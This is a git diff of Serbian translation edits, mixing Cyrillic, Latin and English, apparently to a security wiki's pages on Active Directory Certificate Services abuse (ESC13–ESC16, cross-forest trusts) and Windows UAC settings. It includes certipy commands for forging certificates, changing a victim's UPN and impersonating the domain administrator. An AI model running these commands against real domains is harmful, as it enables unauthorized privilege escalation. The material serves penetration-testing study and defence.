+Atribut `msPKI-Certificate-Policy` омогућава да се политика издaвања додa у шаблон сертификата. Објекти `msPKI-Enterprise-Oid` који су одговорни за политике издaвања могу се открити у Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) контејнера PKI OID. Политика може бити повезана са AD групом коришћењем атрибута овог објекта `msDS-OIDToGroupLink`, омогућавајући систему да ауторизује корисника који прикаже сертификат као да је члан те групе. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
 
-Drugim rečima, kada korisnik ima dozvolu da zatraži izdavanje sertifikata i sertifikat je povezan sa OID grupom, korisnik može naslediti privilegije te grupe.
+Другим речима, када корисник има дозволу да затражи издавање сертификата и сертификат је повезан са OID групом, корисник може наследити привилегије те групе.
 
-Koristite [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) da pronađete OIDToGroupLink:
+Користите [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) да пронађете OIDToGroupLink:
 ```bash
 Enumerating OIDs
 ------------------------
@@ -674,47 +674,47 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
 ```
 ### Scenarij zloupotrebe
 
-Pronađite korisničko dopuštenje koje možete iskoristiti koristeći `certipy find` ili `Certify.exe find /showAllPermissions`.
+Pronađite korisničko dopuštenje koje možete iskoristiti pomoću `certipy find` ili `Certify.exe find /showAllPermissions`.
 
-Ako `John` ima dozvolu za upis (enroll) `VulnerableTemplate`, korisnik može naslediti privilegije grupe `VulnerableGroup`.
+Ako `John` ima dozvolu za enroll `VulnerableTemplate`, korisnik može naslediti privilegije grupe `VulnerableGroup`.
 
-Sve što treba da uradi je da navede šablon; dobiće sertifikat sa pravima OIDToGroupLink.
+Sve što treba da uradi je da navede template, dobiće sertifikat sa OIDToGroupLink pravima.
 ```bash
 certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
 ```
-## Konfiguracija ranjivog obnavljanja sertifikata - ESC14
+## Ranjiva konfiguracija obnavljanja sertifikata - ESC14
 
 ### Objašnjenje
 
 Opis na https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping je izuzetno detaljan. Ispod sledi citat originalnog teksta.
 
-ESC14 se bavi ranjivostima koje proizilaze iz "weak explicit certificate mapping", prvenstveno kroz zloupotrebu ili nesigurnu konfiguraciju atributa `altSecurityIdentities` na Active Directory korisničkim ili računarima naloga. Ovaj atribut sa više vrednosti omogućava administratorima da ručno povežu X.509 sertifikate sa AD nalogom u svrhu autentifikacije. Kada je popunjen, ovo eksplicitno mapiranje može nadjačati podrazumevanu logiku mapiranja sertifikata, koja obično zavisi od UPN-ova ili DNS imena u SAN sertifikata, ili SID-a ugrađenog u `szOID_NTDS_CA_SECURITY_EXT` security extension.
+ESC14 se bavi ranjivostima koje proističu iz "weak explicit certificate mapping", prvenstveno kroz zloupotrebu ili nesigurnu konfiguraciju atributa `altSecurityIdentities` na Active Directory korisničkim ili računarskim nalozima. Ovaj atribut sa više vrednosti omogućava administratorima da ručno povežu X.509 sertifikate sa AD nalogom u svrhu autentifikacije. Kada je popunjen, ova eksplicitna mapiranja mogu nadjačati podrazumevanu logiku mapiranja sertifikata, koja obično zavisi od UPN-ova ili DNS imena u SAN sertifikata, ili SID-a ugrađenog u sigurnosno proširenje `szOID_NTDS_CA_SECURITY_EXT`.
 
-"Slabo" mapiranje se javlja kada je string vrednost korišćena unutar atributa `altSecurityIdentities` za identifikaciju sertifikata preširoka, lako pogodiva, oslanja se na nejedinstvena polja sertifikata ili koristi lako falsifikovane komponente sertifikata. Ako napadač može da pribavi ili izradi sertifikat čiji atributi odgovaraju tako slabo definisanom eksplicitnom mapiranju za privilegovani nalog, može koristiti taj sertifikat da se autentifikuje i predstavlja kao taj nalog.
+Do "weak" mapiranja dolazi kada je string vrednost korišćena u atributu `altSecurityIdentities` za identifikaciju sertifikata preširoka, lako pogodiva, zasnovana na nejedinstvenim poljima sertifikata, ili koristi komponente sertifikata koje se lako falsifikuju. Ako napadač može da dobije ili izradi sertifikat čiji atributi odgovaraju takvom slabo definisanom eksplicitnom mapiranju za privilegovani nalog, može iskoristiti taj sertifikat za autentifikaciju i impersonaciju tog naloga.
 
-Primeri potencijalno slabih `altSecurityIdentities` mapping stringova uključuju:
+Primeri potencijalno slabih stringova za mapiranje u `altSecurityIdentities` uključuju:
 
-- Mapiranje isključivo po uobičajenom Subject Common Name (CN): npr., `X509:<S>CN=SomeUser`. Napadač bi mogao da pribavi sertifikat sa ovim CN iz manje sigurnog izvora.
-- Korišćenje previše generičkih Issuer Distinguished Names (DNs) ili Subject DNs bez daljeg kvalifikovanja kao što su specifičan serial number ili subject key identifier: npr., `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
-- Upotreba drugih predvidljivih obrazaca ili ne-kriptografskih identifikatora koje napadač može zadovoljiti u sertifikatu koji može legitimno dobiti ili falsifikovati (ako je kompromitovao CA ili pronašao ranjiv template kao u ESC1).
+- Mapiranje isključivo po uobičajenom Subject Common Name (CN): npr., `X509:<S>CN=SomeUser`. Napadač bi mogao da dobije sertifikat sa ovim CN iz manje sigurnog izvora.
+- Korišćenje previše generičkih Issuer Distinguished Names (DN) ili Subject DN-ova bez dodatne kvalifikacije kao što su specifičan serijski broj ili subject key identifier: npr., `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
+- Korišćenje drugih predvidivih obrazaca ili ne-kriptografskih identifikatora koje bi napadač mogao da zadovolji u sertifikatu koji može legitimno dobiti ili falsifikovati (ako je kompromitovao CA ili pronašao ranjiv template kao u ESC1).
 
 Atribut `altSecurityIdentities` podržava različite formate za mapiranje, kao što su:
 
 - `X509:<I>IssuerDN<S>SubjectDN` (mapira po punom Issuer i Subject DN)
-- `X509:<SKI>SubjectKeyIdentifier` (mapira po Subject Key Identifier vrednosti u sertifikatu)
-- `X509:<SR>SerialNumberBackedByIssuerDN` (mapira po serial number-u, implicitno kvalifikovanom Issuer DN-om) - ovo nije standardni format, obično je `<I>IssuerDN<SR>SerialNumber`.
-- `X509:<RFC822>EmailAddress` (mapira po RFC822 imenu, obično email adresi, iz SAN)
-- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (mapira po SHA1 hashu raw public key-a sertifikata - generalno jako)
+- `X509:<SKI>SubjectKeyIdentifier` (mapira po vrednosti Subject Key Identifier ekstenzije sertifikata)
+- `X509:<SR>SerialNumberBackedByIssuerDN` (mapira po serijskom broju, implicitno kvalifikovanom Issuer DN-om) - ovo nije standardni format, obično je `<I>IssuerDN<SR>SerialNumber`.
+- `X509:<RFC822>EmailAddress` (mapira po RFC822 imenu, tipično email adresi iz SAN)
+- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (mapira po SHA1 hešu sirovog javnog ključa sertifikata - generalno snažno)
 
-Bezbednost ovih mapiranja u velikoj meri zavisi od specifičnosti, jedinstvenosti i kriptografske jačine izabranih identifikatora sertifikata korišćenih u mapping stringu. Čak i sa omogućenim jakim režimima vezivanja sertifikata na Domain Controllers (koji pre svega utiču na implicitna mapiranja zasnovana na SAN UPN-ovima/DNS i SID ekstenziji), loše konfigurisana `altSecurityIdentities` stavka i dalje može predstavljati direktan put za impersonaciju ako je sama logika mapiranja pogrešna ili previše permisivna.
+Bezbednost ovih mapiranja u velikoj meri zavisi od specifičnosti, jedinstvenosti i kriptografske snage izabranih identifikatora sertifikata koji se koriste u stringu za mapiranje. Čak i sa uključenim snažnim režimima vezivanja sertifikata na Domain Controller-ima (koji uglavnom utiču na implicitna mapiranja zasnovana na SAN UPN/DNS i SID ekstenziji), loše konfigurisana `altSecurityIdentities` stavka i dalje može predstavljati direktan put za impersonaciju ako je sama logika mapiranja pogrešna ili previše permisivna.
 
 ### Scenarij zloupotrebe
 
-ESC14 cilja **eksplicitna mapiranja sertifikata** u Active Directory (AD), konkretno atribut `altSecurityIdentities`. Ako je ovaj atribut postavljen (po dizajnu ili zbog pogrešne konfiguracije), napadači mogu da se predstavljaju kao nalozi tako što će prikazati sertifikate koji odgovaraju mapiranju.
+ESC14 cilja **explicit certificate mappings** u Active Directory (AD), tačnije atribut `altSecurityIdentities`. Ako je ovaj atribut postavljen (po dizajnu ili greškom u konfiguraciji), napadači mogu da oponašaju naloge predstavljajući sertifikate koji odgovaraju mapiranju.
 
-#### Scenarij A: Napadač može da piše u `altSecurityIdentities`
+#### Scenario A: Napadač može pisati u `altSecurityIdentities`
 
-**Preduslov**: Napadač ima write permisije nad `altSecurityIdentities` atributom ciljane naloga ili ima dozvolu da je dodeli u vidu jedne od sledećih permisija na ciljnom AD objektu:
+**Preduslov**: Napadač ima dozvole za pisanje na atribut `altSecurityIdentities` ciljnog naloga ili ima dozvolu da to dodeli u vidu jedne od sledećih dozvola na ciljnom AD objektu:
 - Write property `altSecurityIdentities`
 - Write property `Public-Information`
 - Write property (all)
@@ -724,22 +724,22 @@ ESC14 cilja **eksplicitna mapiranja sertifikata** u Active Directory (AD), konkr
 - `GenericAll`
 - Owner*.
 
-#### Scenarij B: Cilj ima slabo mapiranje preko X509RFC822 (email)
+#### Scenario B: Cilj ima slabo mapiranje putem X509RFC822 (Email)
 
-- **Preduslov**: Cilj ima slabo X509RFC822 mapiranje u altSecurityIdentities. Napadač može da postavi victim-ov `mail` atribut da se poklapa sa target-ovim X509RFC822 imenom, upiše sertifikat kao victim i iskoristi ga da se autentifikuje kao cilj.
+- **Preduslov**: Cilj ima slabo X509RFC822 mapiranje u `altSecurityIdentities`. Napadač može da postavi mail atribut žrtve da odgovara X509RFC822 imenu cilja, registruje sertifikat kao žrtva i koristi ga za autentifikaciju kao cilj.
 
-#### Scenarij C: Cilj ima X509IssuerSubject mapiranje
+#### Scenario C: Cilj ima X509IssuerSubject mapiranje
 
-- **Preduslov**: Cilj ima slabo X509IssuerSubject eksplicitno mapiranje u `altSecurityIdentities`. Napadač može da postavi `cn` ili `dNSHostName` atribut na victim principal-u da odgovara subject-u target-ovog X509IssuerSubject mapiranja. Zatim, napadač može upisati sertifikat kao victim i koristiti taj sertifikat da se autentifikuje kao cilj.
+- **Preduslov**: Cilj ima slabo X509IssuerSubject eksplicitno mapiranje u `altSecurityIdentities`. Napadač može da postavi `cn` ili `dNSHostName` atribut na žrtvinom principal-u da odgovara subject-u X509IssuerSubject mapiranja cilja. Zatim napadač može da registruje sertifikat kao žrtva i koristi taj sertifikat za autentifikaciju kao cilj.
 
-#### Scenarij D: Cilj ima X509SubjectOnly mapiranje
+#### Scenario D: Cilj ima X509SubjectOnly mapiranje
 
-- **Preduslov**: Cilj ima slabo X509SubjectOnly eksplicitno mapiranje u `altSecurityIdentities`. Napadač može da postavi `cn` ili `dNSHostName` atribut na victim principal-u da odgovara subject-u target-ovog X509SubjectOnly mapiranja. Zatim, napadač može upisati sertifikat kao victim i koristiti taj sertifikat da se autentifikuje kao cilj.
+- **Preduslov**: Cilj ima slabo X509SubjectOnly eksplicitno mapiranje u `altSecurityIdentities`. Napadač može da postavi `cn` ili `dNSHostName` atribut na žrtvinom principal-u da odgovara subject-u X509SubjectOnly mapiranja cilja. Zatim napadač može da registruje sertifikat kao žrtva i koristi taj sertifikat za autentifikaciju kao cilj.
 
 ### konkretne operacije
-#### Scenarij A
+#### Scenario A
 
-Zatražite sertifikat iz šablona sertifikata `Machine`.
+Zatražite sertifikat iz šablona sertifikata `Machine`
 ```bash
 .\Certify.exe request /ca:<ca> /template:Machine /machine
 ```
@@ -755,13 +755,13 @@ Autentifikujte se (koristeći sertifikat)
 ```bash
 Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"
 ```
-Za specifičnije metode napada u raznim scenarijima, molimo pogledajte sledeće: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
+For more specific attack methods in various attack scenarios, please refer to the following: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
 
 ## EKUwu Application Policies(CVE-2024-49019) - ESC15
 
 ### Objašnjenje
 
-Opis na https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc je izuzetno detaljan. Ispod sledi citat originalnog teksta.
+Opis na https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc je izuzetno detaljan. Ispod je citat originalnog teksta.
 
 Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template
 
@@ -769,13 +769,14 @@ Using built-in default version 1 certificate templates, an attacker can craft a
 
 Sledeće se odnosi na [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods.
 
-Certipy's `find` command može pomoći da identifikujete V1 templates koji su potencijalno podložni ESC15 ako CA nije zakrpljen.
+
+Certipy's `find` command can help identify V1 templates that are potentially susceptible to ESC15 if the CA is unpatched.
 ```bash
 certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100
 ```
-#### Scenarij A: Direktno lažno predstavljanje preko Schannel
+#### Scenarij A: Direct Impersonation via Schannel
 
-**Korak 1: Zatražite sertifikat, ubacujući "Client Authentication" Application Policy i ciljni UPN.** Napadač `attacker@corp.local` cilja `administrator@corp.local` koristeći "WebServer" V1 šablon (koji omogućava enrollee-supplied subject).
+**Korak 1: Zatražite sertifikat, ubacujući "Client Authentication" Application Policy i ciljani UPN.** Napadač `attacker@corp.local` cilja `administrator@corp.local` koristeći "WebServer" V1 template (koji dozvoljava enrollee-supplied subject).
 ```bash
 certipy req \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@@ -784,17 +785,17 @@ certipy req \
 -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \
 -application-policies 'Client Authentication'
 ```
-- `-template 'WebServer'`: Ranjiv V1 template sa "Enrollee supplies subject".
+- `-template 'WebServer'`: The vulnerable V1 template with "Enrollee supplies subject".
 - `-application-policies 'Client Authentication'`: Ubacuje OID `1.3.6.1.5.5.7.3.2` u Application Policies ekstenziju CSR-a.
-- `-upn 'administrator@corp.local'`: Postavlja UPN u SAN za impersonaciju.
+- `-upn 'administrator@corp.local'`: Postavlja UPN u SAN radi lažnog predstavljanja.
 
-**Korak 2: Autentifikujte se putem Schannel (LDAPS) koristeći dobijeni sertifikat.**
+**Korak 2: Autentifikujte se preko Schannel (LDAPS) koristeći dobijeni sertifikat.**
 ```bash
 certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell
 ```
-#### Scenarij B: PKINIT/Kerberos Impersonation putem Enrollment Agent Abuse
+#### Scenarij B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
 
-**Korak 1: Zatražite sertifikat iz V1 template (sa "Enrollee supplies subject"), ubacujući "Certificate Request Agent" Application Policy.** Ovaj sertifikat je za napadača (`attacker@corp.local`) da postane enrollment agent. Ovde nije naveden nijedan UPN za identitet napadača, jer je cilj sposobnost agenta.
+**Korak 1: Zatražite sertifikat iz V1 template-a (sa "Enrollee supplies subject"), ubacujući "Certificate Request Agent" Application Policy.** Ovaj sertifikat služi da napadač (`attacker@corp.local`) postane enrollment agent. Ovde nije naveden UPN za napadačev identitet, jer je cilj ovlašćenje agenta.
 ```bash
 certipy req \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@@ -804,7 +805,7 @@ certipy req \
 ```
 - `-application-policies 'Certificate Request Agent'`: Ubacuje OID `1.3.6.1.4.1.311.20.2.1`.
 
-**Korak 2: Iskoristite "agent" sertifikat da zatražite sertifikat u ime ciljanog privilegovanog korisnika.** Ovo je ESC3-like korak, koristeći sertifikat iz Koraka 1 kao agent sertifikat.
+**Korak 2: Iskoristite "agent" sertifikat da zatražite sertifikat u ime ciljanog privilegovanog korisnika.** Ovo je ESC3-like korak, pri čemu se koristi sertifikat iz Koraka 1 kao agent sertifikat.
 ```bash
 certipy req \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@@ -816,27 +817,27 @@ certipy req \
 ```bash
 certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
 ```
-## Security Extension Disabled on CA (Globally)-ESC16
+## Onemogućena bezbednosna ekstenzija na CA (globalno) - ESC16
 
-### Explanation
+### Objašnjenje
 
-**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** odnosi se na scenario gde, ako konfiguracija AD CS ne primorava uključivanje **szOID_NTDS_CA_SECURITY_EXT** ekstenzije u sve sertifikate, napadač to može iskoristiti na sledeći način:
+**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** odnosi se na scenarij u kome, ako konfiguracija Active Directory Certificate Services (AD CS) ne nameće uključivanje ekstenzije **szOID_NTDS_CA_SECURITY_EXT** u svim sertifikatima, napadač to može iskoristiti na sledeći način:
 
-1. Zahtevanje sertifikata **without SID binding**.
+1. Zahtevajući sertifikat **bez SID bindinga**.
 
-2. Korišćenje ovog sertifikata **for authentication as any account**, na primer impersoniranjem naloga visokih privilegija (npr. Domain Administrator).
+2. Korišćenjem ovog sertifikata **za autentifikaciju kao bilo koji nalog**, na primer imitirajući nalog sa visokim privilegijama (npr. Domain Administrator).
 
-You can also refer to this article to learn more about the detailed principle:https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
+Takođe možete pogledati ovaj članak da saznate više o detaljnom principu: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
 
-### Abuse
+### Zloupotreba
 
-Sledeće se odnosi na [ovaj link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally). Kliknite da biste videli detaljnije metode upotrebe.
+Sledeće se odnosi na [this link](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally), kliknite da vidite detaljnije metode upotrebe.
 
-To identify whether the Active Directory Certificate Services (AD CS) environment is vulnerable to **ESC16**
+Da biste utvrdili da li je okruženje Active Directory Certificate Services (AD CS) ranjivo na **ESC16**
 ```bash
 certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable
 ```
-**Korak 1: Pročitajte početni UPN naloga žrtve (Opcionalno - za obnavljanje).
+**Korak 1: Pročitajte početni UPN naloga žrtve (Neobavezno - za obnavljanje).
 ```bash
 certipy account \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@@ -850,14 +851,14 @@ certipy account \
 -dc-ip '10.0.0.100' -upn 'administrator' \
 -user 'victim' update
 ```
-**Korak 3: (ako je potrebno) Nabavite podatke za prijavu za nalog "žrtve" (npr. putem Shadow Credentials).**
+**Korak 3: (ako je potrebno) Nabavite kredencijale za nalog „žrtve” (npr. putem Shadow Credentials).**
 ```shell
 certipy shadow \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
 -dc-ip '10.0.0.100' -account 'victim' \
 auto
 ```
-**Korak 4: Zatražite sertifikat kao korisnik "victim" iz _bilo kojeg odgovarajućeg šablona za autentifikaciju klijenta_ (npr. "User") na CA ranjivom na ESC16.** Pošto je CA ranjiv na ESC16, automatski će izostaviti SID security extension iz izdatog sertifikata, bez obzira na specifična podešavanja šablona za ovo proširenje. Postavite promenljivu okruženja Kerberos credential cache (shell komanda):
+**Korak 4: Zatražite sertifikat kao korisnik "victim" iz _any suitable client authentication template_ (npr. "User") na ESC16-vulnerable CA.** Pošto je CA ranjiv na ESC16, automatski će izostaviti SID security extension iz izdatog sertifikata, bez obzira na specifična podešavanja šablona za ovu ekstenziju. Podesite Kerberos credential cache environment variable (shell command):
 ```bash
 export KRB5CCNAME=victim.ccache
 ```
@@ -875,24 +876,24 @@ certipy account \
 -dc-ip '10.0.0.100' -upn 'victim@corp.local' \
 -user 'victim' update
 ```
-**Korak 6: Autentifikujte se kao ciljni administrator.**
+**Korak 6: Autentifikujte se kao ciljani administrator.**
 ```bash
 certipy auth \
 -dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
 -username 'administrator' -domain 'corp.local'
 ```
-## Compromising Forests with Certificates Explained in Passive Voice
+## Kompromitovanje forestova pomoću certifikata — objašnjeno u pasivnom obliku
 
-### Breaking of Forest Trusts by Compromised CAs
+### Kršenje forest trust-ova usled kompromitovanih CA
 
-Konfiguracija za **cross-forest enrollment** je relativno jednostavna. The **root CA certificate** from the resource forest is **published to the account forests** by administrators, and the **enterprise CA** certificates from the resource forest are **added to the `NTAuthCertificates` and AIA containers in each account forest**. Da pojasnimo, ova postavka daje **CA in the resource forest complete control** over all other forests za koje upravlja PKI. Should this CA be **compromised by attackers**, sertifikati za sve korisnike u oba — resource i account forests — mogli bi biti **forged by them**, čime bi bila narušena sigurnosna granica foresta.
+Konfiguracija za **cross-forest enrollment** učinjena je relativno jednostavnom. **Root CA certificate** iz resource forest-a se od strane administratora **publish-uje u account forests**, a **enterprise CA** certificates iz resource forest-a se **dodaju u `NTAuthCertificates` i AIA containers u svakom account forest-u**. Da se pojasni, ovim aranžmanom se **CA in the resource forest potpuna kontrola** nad svim ostalim forest-ovima za koje upravlja PKI dodeljuje. Ukoliko bi ova CA bila **compromised by attackers**, certifikati za sve korisnike i u resource i u account forests mogli bi biti **forged by them**, čime bi sigurnosna granica forest-a bila prekršena.
 
-### Enrollment Privileges Granted to Foreign Principals
+### Privilegije enrollment-a dodeljene stranim principal-ima
 
-U multi-forest okruženjima treba postupati oprezno prema Enterprise CAs koje **publish certificate templates** koje dozvoljavaju **Authenticated Users or foreign principals** (korisnici/grupe koji su eksterni u odnosu na forest kojem pripada Enterprise CA) **enrollment and edit rights**.\
-Prilikom autentikacije preko trust-a, **Authenticated Users SID** se dodaje u token korisnika od strane AD. Dakle, ako domen poseduje Enterprise CA sa template-om koji **allows Authenticated Users enrollment rights**, taj template bi potencijalno mogao biti **enrolled in by a user from a different forest**. Isto tako, ako su **enrollment rights are explicitly granted to a foreign principal by a template**, time se kreira **cross-forest access-control relationship**, omogućavajući principal-u iz jednog foresta da **enroll in a template from another forest**.
+U okruženjima sa više forest-ova, potrebno je biti oprezan u vezi sa Enterprise CAs koje **publish certificate templates** koji dozvoljavaju **Authenticated Users ili foreign principals** (korisnici/grupe van forest-a kojem Enterprise CA pripada) **enrollment and edit rights**.\
+Prilikom autentikacije preko trust-a, AD dodaje **Authenticated Users SID** u token korisnika. Dakle, ako domen poseduje Enterprise CA sa template-om koji **allows Authenticated Users enrollment rights**, template bi potencijalno mogao biti **enrolled in by a user from a different forest**. Slično, ako su **enrollment rights eksplicitno dodeljena foreign principal-u od strane template-a**, time se kreira **cross-forest access-control relationship**, što omogućava principal-u iz jednog forest-a da **enroll in a template from another forest**.
 
-Oba scenarija vode ka povećanju **attack surface** sa jednog foresta na drugi. Podešavanja certificate template-a mogu biti iskorišćena od strane napadača da se dobiju dodatne privilegije u stranom domenu.
+Oba scenarija dovode do **povećanja attack surface** sa jednog forest-a na drugi. Podešavanja certificate template-a mogu biti iskorišćena od strane napadača da se dobiju dodatne privilegije u foreign domain-u.
 
 
 ## References

src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md

@@ -4,7 +4,7 @@
 
 ## UAC
 
-[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is a feature that enables a **consent prompt for elevated activities**. Applications have different `integrity` levels, and a program with a **high level** can perform tasks that **could potentially compromise the system**. When UAC is enabled, applications and tasks always **run under the security context of a non-administrator account** unless an administrator explicitly authorizes these applications/tasks to have administrator-level access to the system to run. It is a convenience feature that protects administrators from unintended changes but is not considered a security boundary.
+[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) је funkcija која омогућава prikaz zahteva za saglasnost при покретању активности које захтевају povišene privilegije. Апликације имају различite `integrity` нивое, и програм са високим нивоом може изводити задатке који би могли потенцијално компромитовати систем. Када је UAC омогућен, апликације и задаци увек раде у безбедносном контексту налога без администраторских права осим ако администратор изричито не дозволи тим апликацијама/задатцима приступ на нивоу администратора. Ово је уређај за удобност који штити администраторе од ненамерних промена али се не сматра безбедносном границом.
 
 For more info about integrity levels:
 
@@ -13,47 +13,47 @@ For more info about integrity levels:
 ../windows-local-privilege-escalation/integrity-levels.md
 {{#endref}}
 
-Kada je UAC aktivan, administratorskom korisniku se dodeljuju 2 tokena: standardni token korisnika za obavljanje uobičajenih radnji na regularnom nivou, i token sa administratorskim privilegijama.
+Када је UAC активан, администраторском налогу се додељују 2 токена: један за стандардног корисника за извођење уобичајених радњи на регуларном нивоу, и један са администраторским привилегијама.
 
-Ova [stranica](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) detaljno objašnjava kako UAC funkcioniše i uključuje proces logovanja, korisničko iskustvo i UAC arhitekturu. Administratori mogu koristiti sigurnosne politike da konfigurišu kako UAC radi specifično za njihovu organizaciju na lokalnom nivou (korišćenjem secpol.msc), ili da ih konfigurišu i distribuiraju putem Group Policy Objects (GPO) u Active Directory domen okruženju. Različita podešavanja su detaljno objašnjena [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Postoji 10 Group Policy podešavanja koja se mogu postaviti za UAC. Sledeća tabela pruža dodatne detalje:
+This [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) детаљно објашњава како UAC функционише и обухвата процес пријављивања, корисничко искуство и UAC архитектуру. Администратори могу користити безбедносне политике за конфигурисање начина рада UAC-а специфично за њихову организацију на локалном нивоу (користећи secpol.msc), или их конфигурисати и раширити користећи Group Policy Objects (GPO) у Active Directory домен окружењу. Различита подешавања су детаљно објашњена [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Постоји 10 Group Policy подешавања која се могу поставити за UAC. Следећа табела пружа додатне детаље:
 
 | Group Policy Setting                                                                                                                                                                                                                                                                                                                                                           | Registry Key                | Default Setting                                              |
 | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
-| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account)                                                     | FilterAdministratorToken    | Onemogućeno                                                 |
-| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle      | Onemogućeno                                                 |
-| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode)                     | ConsentPromptBehaviorAdmin  | Zatraži pristanak za non-Windows binarne fajlove           |
-| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users)                                                                   | ConsentPromptBehaviorUser   | Zatraži kredencijale na sigurnom desktopu                  |
-| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation)                                                       | EnableInstallerDetection    | Omogućeno (default for home) Onemogućeno (default for enterprise) |
-| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated)                                                             | ValidateAdminCodeSignatures | Onemogućeno                                                 |
-| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations)                       | EnableSecureUIAPaths        | Omogućeno                                                    |
-| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode)                                                                               | EnableLUA                   | Omogućeno                                                    |
-| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation)                                                       | PromptOnSecureDesktop       | Omogućeno                                                    |
-| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations)                                       | EnableVirtualization        | Omogućeno                                                    |
